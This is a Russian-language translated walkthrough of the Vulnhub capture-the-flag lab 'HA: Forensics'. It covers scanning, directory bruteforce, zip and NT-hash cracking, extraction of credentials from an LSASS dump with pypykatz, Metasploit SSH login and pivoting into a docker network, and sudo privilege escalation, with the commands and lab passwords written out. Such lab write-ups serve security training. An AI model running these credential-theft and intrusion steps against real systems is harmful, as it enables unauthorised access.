Найти тему

HA: Forensics | Пошаговое руководство Vulnhub

В этой статье пойдет речь о том, как получить доступ к уязвимой машине под названием HA: Forensics. Это тип атаки, который называется «Захват флага». Будут получены 4 флага, которые доступны по мере решения лабораторных задач на основе подсказок.

Скачать лабораторию можно, перейдя по ссылке.

Сканирование сети

Чтобы атаковать любую машину, нужно определить ее IP-адрес. Это можно сделать с помощью команды «net discover». Чтобы найти IP-адрес, необходимо будет связаться с MAC-адресом, который можно получить из параметра конфигурации виртуальной машины. IP-адрес машины был определен успешно. Это 192.168.0.174.

netdiscover

-2

После сканирования с помощью команды «net discover» следует использовать сканирование Nmap, чтобы получить информацию о службах, запущенных на виртуальной машине. Агрессивное сканирование Nmap показало, что запущены 2 службы: SSH (22) и HTTP (80).

nmap -A 192.168.0.174

-3

Перечисление

Поскольку есть служба HTTP, работающая на виртуальной машине, стоит взглянуть на размещенную там веб-страницу:

http://192.168.0.174

-4

На веб-странице есть кнопка с надписью: «Нажмите здесь, чтобы получить флаг!». Пользователь нажимает на эту кнопку.

Флаг 1

Пользователь понимает, что веб-страница – это простая страница с некоторыми изображениями Forensics. Ничего особенного. Следующей среди задач по перечислению была «Directory Bruteforce». Человек использовал надежный инструмент dirb для проведения этой атаки.

dirb http://192.168.0.174/

-5

Это дало ему возможность получить доступ к каталогу изображений. Он заглянул в него через веб-браузер и нашел там два изображения под названием «DNA» и «fingerprint». Человек проверил «DNA»: это оказалась «кроличья нора». Тогда он решил скачать файл fingerprint.jpg для дальнейшего анализа.

-6

Эта машина основана на Forensics. У пользователя теперь есть нужное изображение на компьютере. Здесь подойдет инструмент Exiftool для использования. При простом взгляде на метаданные изображения с помощью Exiftool человек понимает, что у него теперь есть первый флаг.

exiftool fingerprint.jpg

-7

Флаг 2

Теперь перечисление не всегда заканчивается лишь одной версией «Directory Bruteforce». Если человек сомневается в результате, он всегда использует фильтр «Extension» в dirb. Следует обратить свое внимание на фильтр для файлов формата txt. Есть какой-то файл «tips.txt».

dirb http://192.168.0.174 -X .txt

-8

Рассматривая файл «tips.txt», пользователь понимает, что это своего рода robots.txt файл (только он назван «tips»). Поскольку идет охота на флаги, человек ориентируется на файл «flag.zip».

-9

У пользователя получилось сохранить файл. Ура!

-10

Теперь, когда у него есть этот zip-файл в локальной системе, пришло время извлечь его содержимое. Пользователь будет использовать команду «unzip», чтобы извлечь файлы. Однако для этого требуется пароль.

-11

Пользователь открывает веб-браузер и файл «tips». Здесь есть папка с названием «igolder». Оно напоминает название веб-сайта, который шифрует и расшифровывает сообщения с открытыми и приватными ключами. При просмотре папки можно увидеть, что есть еще один текстовый файл под названием «clue.txt». При чтении файла пользователь понимает, что это комбинация приватного ключа и сообщения.

http://192.168.0.174/igolder/clue.txt

-12

Чтобы расшифровать сообщение, пользователь перешел на сайт «igolder» и вставил приватный ключ PGP и зашифрованное сообщение из файла «clue.txt». После нажатия кнопки «Расшифровать сообщение» он смог прочесть секретное сообщение. Там говорится, что пароль состоит из 6 символов, причем первые 3 являются буквами «for», а последние 3 – цифрами.

-13

Всякий раз, когда человек оказывается в ситуации, когда у него есть какой-то частичный намек на пароль, он использует сrunch для создания словаря, подходящего к этому шаблону. Пользователь применил crunch и создал словарь для взлома пароля с именем «dict.txt». Используя fcrackzip, он взломал пароль. Это «007».

Человек распаковывает архив. Там есть pdf-файл с именем «flag». Также там есть файл DMP, но об этом позже.

crunch 6 6 -t for%%% -o dict.txt
fcrackzip -u -D -p dict.txt flag.zip
unzip flag.zip

-14

Пора открыть этот файл в формате PDF и посмотреть на второй флаг.

-15

Флаг 3

Теперь у пользователя уже есть 2 флага, еще 2 нужно найти. Был найден файл DMP. В Forensics файл дампа можно проверить с помощью pypykatz. Итак, пользователь будет использовать эту программу, чтобы найти некоторые подсказки.

pypykatz -lsa -k /root/Downloads minidump lsass.DMP

-16

Изучив тщательно файл DMP, пользователь находит хэш-файл NT для пользователя по имени Jasoos. На хинди это означает «детектив». Это может быть ключом к разгадке.

-17

Пользователь копирует и вставляет это в файл с именем «hash». Теперь у него есть хэш-файл. Чтобы взломать его, нужен «John the Ripper». Был получен пароль. Это «Password@1». Не очень безопасно, конечно.

john --format=NT hash

-18

Теперь пользователь может напрямую подключиться через SSH, но вход в систему с помощью Metasploit будет лучшим вариантом, так как у человека есть тонна инструментов пост-эксплуатации, которые можно использовать впоследствии. Следовательно, используя модуль «ssh_login», пользователь получает сеанс SSH на машине как пользователь Jasoos. Используя скрипт «shell_to_meterpreter», пользователь получил сеанс Meterpreter на целевой машине.

use auxiliary/scanner/ssh/ssh_login
set rhosts 192.168.0.174
set username jasoos
set password Password@1
exploit
session -u 1

-19

Используя команду «ifconfig», пользователь понимает, что в приложении работает интерфейс docker с IP-адресом 172.17.0.1.

Это внутренний IP-адрес, что означает, что пользователь не может получить к нему доступ извне обычным способом.

sessions 2
ifconfig

-20

Не надо паниковать. Здесь пригодится Metasploit. Он обладает эксплойтом autoroute, который может маршрутизировать сеть таким образом, чтобы внутренний IP-адрес был доступен извне. Autoroute создаст новый хост для подключения, трафик которого будет перенаправлен во внутреннюю службу. Но Autoroute не сообщает IP-адрес нового хоста. Итак, нужно выполнить «ping sweep», чтобы найти тот конкретный IP-адрес, который может быть использован для дальнейшей эксплуатации цели. Ping sweep нашел этот IP-адрес. Это 172.17.0.2. Теперь, когда пользователь знает целевой IP-адрес, стоит понять, в каком именно сервисе работает экземпляр docker в данный момент. Сканирование портов показывает, что это FTP-сервис. Но этот сервис пока еще не доступен пользователю. В FTP-сервисе есть функция, при которой анонимный пользователь может войти в систему и получить доступ к файлам через FTP. Чтобы убедиться, что этот FTP настроен таким образом, пользователь использует анонимный сканер ftp в Metasploit.

use post/multi/manage/autoroute
set session 2
exploit

use post/multi/gather/ping_sweep
set session 2
set rhosts 172.17.0.0/24
exploit

use auxiliary/scanner/portscan/tcp
set rhosts 172.17.0.2
set port 1-100
exploit
use auxiliary/scanner/ftp/anonymous

-21

Сканирование выявило, что FTP настроен нужным образом. Итак, стоит провести перечисление FTP-сервиса, подключившись к нему как анонимный пользователь. Был получен каталог пол названием «pub». Внутри этого каталога есть файл с расширением 001. Похоже, это файл с изображением, который обычно используется в расследовании Forensic. Он называется «sabot» или «saboot». На хинди это означает «доказательство».

shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
ftp 172.17.0.2
anonymous
ls
cd pub
ls
get saboot.001

-22

Теперь с помощью сервиса Python One liner HTTP пользователь отправляет файл с целевой машины на его локальную.

exit
ls
python -m SimpleHTTPServer

-23

Поскольку Python One liner работает стабильно на порту 8000, пользователь просматривает этот порт и получает файл «saboot».

http://192.168.0.174:8000

-24

Он решает использовать инструмент «Autopsy Forensic Investigation», чтобы изучить полученное изображение. Его можно запустить с помощью следующей команды. Autopsy доступен на локальном хосте (порт 9999). Нужно открыть его.

-25

Здесь есть веб-интерфейс для Autopsy. Пользователь нажимает на кнопку «New Case».

-26

Пользователь дает название делу, пишет его описание и вводит имя следователя. И снова нажимает на кнопку «New Case».

-27

Теперь будет создано дело. После создания дела ему требуется хост для этого конкретного обращения. Оно запрашивает имя хоста. После ввода имени хоста пользователь нажимает на кнопку «Add Host», чтобы продолжить.

-28

После создания хоста пользователя просят добавить файл с изображением. Это шаг, на котором пользователь добавляет файл изображения, полученный с целевой машины.

-29

Будет запрошено местоположение файла. Поскольку пользователь загрузил его из своего веб-браузера, он должен быть в папке «Загрузки». Пользователь предоставляет путь к файлу, как показано на рисунке ниже. Кроме того, он выбирает «Partition» в параметре «Type». После завершения пользователь нажмет на кнопку «Next», чтобы продолжить.

-30

Пользователь оставит все по умолчанию и нажмет на кнопку «Add».

-31

Файл был загружен. Пришло время для его анализа. Как выполнить анализ показано на рисунке ниже.

-32

Пользователь видит, что у него есть куча файлов. Среди этих файлов есть 2 текстовых. Файл-флага и файл «creds». Настала пора просмотреть третий флаг.

-33

Флаг 4

Теперь у пользователя есть файл creds.txt. Пользователь просмотрит его и обнаружит, что внутри есть какой-то зашифрованный текст.

-34

Похоже, что это кодировка Base64. Пользователь использует команду «echo» с декодером base 64, как показано на рисунке ниже. Это может быть пароль для другого пользователя.

-35

Пользователь перечислил домашний каталог и обнаружил, что есть еще один пользователь по имени Forensics. Пароль должен подходить для этого пользователя. Человек использует команду «su» для входа в систему в качестве Forensics и пароль, который был найден. Теперь человек использует команду «sudo-l», чтобы понять, какие двоичные файлы он может использовать для повышения привилегий. Все нужное найдено. Итак, теперь пользователь использует команду «sudo bash» и получает Root. Затем он найдет последний флаг в каталоге Root. Четвертый флаг обнаружен. Это успех!

cd /home
ls
su forensics
jeenaliisagoodgirl
sudo -l
sudo bash
cd /root
cat root.txt

-36

Автор переведенной статьи: Pavandeep Singh.

Важно! Информация исключительно в учебных целях. Пожалуйста, соблюдайте законодательство и не применяйте данную информацию в незаконных целях.

ЧИТАТЬ ВСЕ СТАТЬИ НА САЙТЕ | ПОДПИСЫВАЙТЕСЬ НА НАШ TELEGRAM КАНАЛ